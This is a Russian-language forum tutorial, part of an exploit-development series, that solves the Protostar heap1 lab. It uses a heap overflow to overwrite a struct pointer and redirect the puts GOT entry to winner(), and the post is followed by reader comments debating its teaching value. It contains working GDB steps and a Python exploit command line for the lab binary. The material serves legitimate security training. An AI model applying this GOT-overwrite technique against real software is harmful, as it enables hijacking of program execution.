Статья Условие Write-what-where и перехват потока управления кодом - разработка эксплойтов, часть 16

fuzzz

fuzzz

Red Team
03.02.2019
191
349
Доброго времени суток codeby. В предыдущей статье мы работали над переполнением буфера в кучи и перезаписывали структурный указатель на функцию. В статье мы так же будем работать над переполнением кучи и познакомимся с произвольной перезаписью памяти — условием Write-What-Where, посмотрим, что это такое и с чем его едят. И так поехали…

Описание ExploitMe
Этот уровень учитывает перехват потока выполнения кода в случаях перезаписи данных.

Этот уровень находится в / opt / protostar / bin / heap1

,

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
Решение

Эта задача является отличным введением в класс уязвимостей Write-What-Where (запись-что-где), в которой описывается возможность произвольной записи.

Уязвимость — произвольной перезаписи памяти, или уязвимость известная, как уязвимость «запись-что-где» (Write-What-Where) — это любое условие, при котором злоумышленник может записать произвольное значение в произвольное место, часто в результате переполнения буфера. Это может быть использовано для перезаписи указателя функции, который позднее разыменовывается, заменяя его адресом памяти, к которому злоумышленник имеет законный доступ, куда он поместил вредоносный код, что приводит к выполнению произвольного кода.

В этой задаче в качестве «выполнения произвольного кода» у нас выступает мертвая функция winner(). Поэтому суть сегодняшней задачи вызвать функцию winner(). Но прежде, чем мы до нее доберемся рассмотрим исходный код данной нам программы.

И так…

В глобальной области памяти определена структура данных с именем internet. В ней определены два элемента. Элемент priority обозначенный как целочисленная переменная и элемент name обозначенный как указатель на строку. Тут же можно добавить, что в языке Си конструкция char *ptr эквивалента конструкции char ptr[].

В главной функции main() под структуру internet созданы три переменных i1,i2,i3. Эти переменные являются указателями структурного типа для структуры internet.

Две их них используются i1 и i2. Третья переменная i3 нет.

Дальше происходит присвоение адресов памяти этим указателям на начальные адреса выделенной памяти.

C:
i1 = malloc(sizeof(struct internet));
i2 = malloc(sizeof(struct internet));
Напомню, что heap — это область динамической памяти, выделяемая на стадии исполнения программы. Выделяется 8 байт из подсчета оператора sizeof.

Затем структурный указатель i1 и i2 ссылается на элемент priority в структуре internet которому присваивается соответственно целочисленное значение 1 и 2.

C:
i1->priority = 1;
i2->priority = 2;
Далее структурные указатели ссылаются на элемент name в структуре internet которому присваиваться адрес на выделенный блок в памяти из 8 байт.

C:
i1->name = malloc(8);
i2->name = malloc(8);
А теперь самое главное. Указатели структурного типа ссылаются на элемент name в структуре internet. Используется функция strcpy(), которая принимает входные данные через аргумент и пишет их в name.

C:
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
И получается у нас следующие… Было выделены две структуры internet. Каждая структура содержит указатель name который выделяется отдельно. Это означает, что структура internet, размещенная в куче, будет содержать указатель на другую часть памяти в куче.

И так откроем программу под отладчиком GDB и дизассемблируем главную функцию main().

Код:
gdb -q ./heap1
disas main
cFhwjIl.png


Затем поставим точку останова на RET адрес, чтобы программа не завершилась при выполнении и запустим программу под отладчиком передав ей две строки, по скольку наша программа принимает два аргумента.

Код:
break *0x08048567
run AAAA BBBB
muxrrWd.png


Теперь посмотрим карту процесса нашей программы, чтобы найти начальный адрес расположения кучи.

Код:
info proc map
3gwiN5s.png



И выведем 50 адресов относительно начального адреса памяти кучи, чтобы посмотреть где и как лежат наши введенные строки в памяти.

Код:
x/50x 0x804a000
QMJpg7F (1).png


Посмотрим, что находится по адресу — 0x0804a038.

Код:
x/x 0x0804a038
x/s 0x0804a038
trgtjae (1).png


По адресу 0x0804a038 находится куча №2. Следовательно у нас получается такая картина. Смещение до адреса кучи №2 составляет 20 байт. Проверим так ли это…

VyHpIB7.png


Запустим программу под отладчиком и передадим ей в первый аргумент 20 байт из букв «А» и 4 байта из букв «В». А во второй аргумент передадим 4 байта из букв «С». И посмотрим на кучу относительно начального адреса кучи.

Код:
run `python -c 'print "A"*20 + "B"*4'` CCCC
Смотрим

Код:
x/50x 0x804a000
e2qGueb-1.png


Как мы видим мы перезаписали начальный адрес кучи №2. Мы можем писать по произвольному адресу. Это и есть условие Write-What-Where. Осталось лишь подобрать нужный нам адрес для перезаписи и выполнить произвольный код)).

Воспользуемся уже знакомым нам методом. Перезаписью . Если мы посмотрим на дизассемблированный листинг программы функции main(), то увидим, что сразу после второй уязвимой функцию strcpy(), идет вызов функции puts(), включая вызов адреса в PLT. Затем он переходит на адрес сохраненный в GOT. Этим мы и воспользуемся.

Код:
disas main
rnC80oA (1).png


Код:
x/x 0x80483cc
x/i 0x80483cc
disas 0x80483cc
WxBaZ2U (1).png


Или же через objdump

Код:
objdump -TR ./heap1
YD5ijji (1).png


Если уж говорить простым языком процедура PLT, является неким «гаджетом» для прыжка, на другие функции, которые находятся в нашей программе.

Теперь узнаем адрес функции winner().

Код:
print &winner
UpXr2Z5 (1).png


Адрес функции winner получен — 0x8048494.

Теперь составим наш эксплойт, использовать будем все так же Python, а структура payload’а будет выглядеть следующим образом.

Код:
struct_offset + exec_redir_addr + winner_addr
"A"*20     +      0x8049774     +   0x8048494
Ну и по скольку у нас специфическая уязвимая программа, которая принимает два аргумента, наш сплойт тоже будет специфическим. Он будет разделен на две части.

Код:
struct_offest + exec_redir_addr | winner_addr
arg1                            | arg2
Цель первого аргумента состоит в том, чтобы переполнить буфер кучи i1-> name в структуре i2 и перезаписать адрес i2-> name адресом адреса puts_GOT. Цель второго аргумента — просто указать адрес, на который будет перенаправлено выполнение кода.

Запускаем сплойт

Код:
./heap1 `python -c 'from struct import pack; exec_redir_addr=pack("I",0x8049774); struct_offset= "A"*20; print struct_offset + exec_redir_addr'` `python -c 'from struct import pack; winner_addr=pack("I",0x8048494); print winner_addr'`
I15La8G-1.png


Отлично мы перехватили поток выполнения кода и выполнили функцию winner(). Теперь можно переходить на следующий .
 
yky

yky

Green Team
31.12.2019
56
7
Информация специфическая,подача как у новечка в реверсе )))
Не о чём тема
 
  • Не нравится
Реакции: swagcat228
fuzzz

fuzzz

Red Team
03.02.2019
191
349
Информация специфическая,подача как у новечка в реверсе )))
Не о чём тема
В смысле не о чем? Напиши лучше?! Этот цикл и рассчитан на новичков. Мне вот хотелось, чтобы зашел к примеру и прочитал "о том, о сем" доступным языком. А не ковырять гугл на зарубежных ресурсах. Чет я по форумам ходил. Нигде такого не видел. даже на r0 Crew такого нету. Зато есть куча объяв куплю картон, продам бота, как вставить кавычку. Тем более материал не претендует на строгую научную публикацию. Просто наверно не для тебя материал. Раз он не о чем.
 
Последнее редактирование:
yky

yky

Green Team
31.12.2019
56
7
Я сомневаюсь что ночевки вообще поймут что за утилиты используются в статье.
Видео подкрепляющие действие лучше усваиваются.
Специфичиский материал подан так же
Тема не раскрыта )))
 
fuzzz

fuzzz

Red Team
03.02.2019
191
349
Я сомневаюсь что ночевки вообще поймут что за утилиты используются в статье.
Видео подкрепляющие действие лучше усваиваются.
Специфичиский материал подан так же
Тема не раскрыта )))
Не знаю, о каких таких ты НОВИЧКАХ говоришь? Что не поймут что такое GDB и Python. Это же надо быть дегенератом. Тема раскрыта код выполнен. А ты попробуй доступным языком объяснить сложные вещи ? А вы только про свои сраные ковычки и умеете писать и больше нихрена.
 
yky

yky

Green Team
31.12.2019
56
7
Я помогу немного
 
fuzzz

fuzzz

Red Team
03.02.2019
191
349
Я помогу немного
Есть такое знаю этот ресурс. Но смысл снимать видео. Базовые вещи лучше в статье описать. А на счет видео лучше уж тогда курс сделать по эксплуатации багов под Windows.
 
A

art445

Member
26.12.2019
21
17
Очень чешется сказать пару слов :)

В реальной жизни, почти всегда, сначала ты сталкиваешься с фактом, например - программа падает при указании параметром очень длиной строки. Ты смотришь в отладчике где она падает, дезассемблируешь программу и ищешь возможность эксплуатнуть ошибку программиста который не проверяет длину строки.
Таким образом:
1. ты никогда не знаешь исходного кода программы жертвы и я думаю, в примере его показывать не нужно, так будет более приближено к жизни.
2. на сколько мне известно разные компиляторы имеют разную реализацию манагеров памяти, впрочем как разную реализацию структурной обработки исключений, поэтому не факт что после другого компилятора дезассемблирование этого кода покажет ту же самую картину
По моему практических знаний в этом рассказе очень мало. Все реальные ошибки найдены случайно, а не в результате умных анализов, и потом уже для них придуманы эксплоиты.
 
mrOkey

mrOkey

Red Team
14.11.2017
750
765
1. ты никогда не знаешь исходного кода программы жертвы и я думаю, в примере его показывать не нужно, так будет более приближено к жизни.
1. Да ну? White box - не о чем не говорит тебе?
 
  • Нравится
Реакции: fuzzz
fuzzz

fuzzz

Red Team
03.02.2019
191
349
art445

Еще есть такое понятие как.

Аудит программного кода - это всесторонний анализ в проекте с целью выявления ошибок, нарушений безопасности или нарушений соглашений о программировании. Это неотъемлемая часть парадигмы , которая пытается уменьшить количество ошибок до выпуска программного обеспечения. Исходный код C и C ++ является наиболее распространенным кодом, подлежащим аудиту, поскольку многие языки более высокого уровня, такие как Python, имеют меньше потенциально уязвимых функций (например, функций, которые не проверяют границы)...

К тому же мы изучаем эксплуатацию багов, и практикуем аудит кода в данном цикле. Ну и как выше было сказано в цикле не описывается blackbox testing для поисков багов. Набивается рука на аудит и эксплуатацию... Так как появляются новые защиты и эксплуатация багов усложняется тут и сделан акцент на эксплуатацию, хоть и митегейшенов тут нет. Но они будут. Важно понять принципы. А поиск багов уже совсем другая история. Их ищут с помощью фаззинга в основном.

Ничего компилировать не надо все уже скомпилировано и настроено тут - .

p.s. прежде, чем стрелять с закрытыми глазами в яблоко из лука, надо научиться стрелять в яблоко с открытыми глазами и вообще научиться держать лук...
 
Последнее редактирование:
A

art445

Member
26.12.2019
21
17
Да ну? White box - не о чем не говорит тебе?
p.s. прежде, чем стрелять с закрытыми глазами в яблоко из лука, надо научиться стрелять в яблоко с открытыми глазами и вообще научиться держать лук...
Перед тем как пустить программу в продажу производители ее уже сто раз протестировали, а писать высокоуровневые проги без косяков можно только исправляя свои косяки - опыт не купишь не вычитаешь в книгах.
 
mrOkey

mrOkey

Red Team
14.11.2017
750
765
Перед тем как пустить программу в продажу производители ее уже сто раз протестировали, а писать высокоуровневые проги без косяков можно только исправляя свои косяки - опыт не купишь не вычитаешь в книгах.
А как производитель по твоему тестирует? Без кода?
 
fuzzz

fuzzz

Red Team
03.02.2019
191
349
Перед тем как пустить программу в продажу производители ее уже сто раз протестировали, а писать высокоуровневые проги без косяков можно только исправляя свои косяки - опыт не купишь не вычитаешь в книгах.
Готов поспорить с тобою. Как раз таки они пишут с косяками и по большей части им бы лишь бы выкатить софт в продакшен. Из-за этой тенденции был придуман SDL. Но это не панацея от всего на свете. Софт просто проходит определенные тест кейсы и все. Какие то баги закрываются. Какие то баги не закрывают, потому что горит день реализа. А перед днем реализа нашли 100 багов к примеру. Тут либо отложить реализ либо выпустить. Чаще выпускают с последующем апдейтом. Всё что не покрывает SDL именно те тест кейсы. Там все равно остаются баги. Т.е. какую-то часть кода покрыли нашли пофиксили, какую то часть не покрыли кода там остались ошибки - баги. К тому же когда выходит какой то фикс баги. Изменяется сама логика программы. Это можно объяснить следующим. "Что-то лечим другое калечим". Т.е. одно пофиксили другое сломали. Так как был добавлен новый код. К примеру вот пойти сейчас на сайт скачать от туда исходники. Думаешь там нет багов? Есть там все. Просто их не нашли. Так что не надо сказки тут рассказывать и вводить в заблуждение пользователей.
 
A

art445

Member
26.12.2019
21
17
Насколько я понимаю из этой статьи предполагается получить навыки дезассемблирования и использования ошибок в коде для внедрения чужеродного кода. По моему мнению, самые хорошие примеры в этом направлении - это разбор функционала какого-нибудь реального сетевого червя, именно там используется этот механизм чаще всего. Для образования любые знания хороши, но лабораторная работа дает знание которое легче применить в жизни :)

Что касается кухни - в любом производстве есть свои трудности - все люди по натуре левые, а окружающая действительность сурова и беспощадна.
 
swagcat228

swagcat228

Grey Team
19.12.2019
222
51
Насколько я понимаю из этой статьи предполагается получить навыки дезассемблирования и использования ошибок в коде для внедрения чужеродного кода. По моему мнению, самые хорошие примеры в этом направлении - это разбор функционала какого-нибудь реального сетевого червя, именно там используется этот механизм чаще всего. Для образования любые знания хороши, но лабораторная работа дает знание которое легче применить в жизни :)

Что касается кухни - в любом производстве есть свои трудности - все люди по натуре левые, а окружающая действительность сурова и беспощадна.
вот вот. и эти левые сидят, смотрят, завидуют, и плюются желчью в монитор.

пока кто-то делает добро искренне и без корысти.
 
  • Не нравится
Реакции: yky
Мы в соцсетях: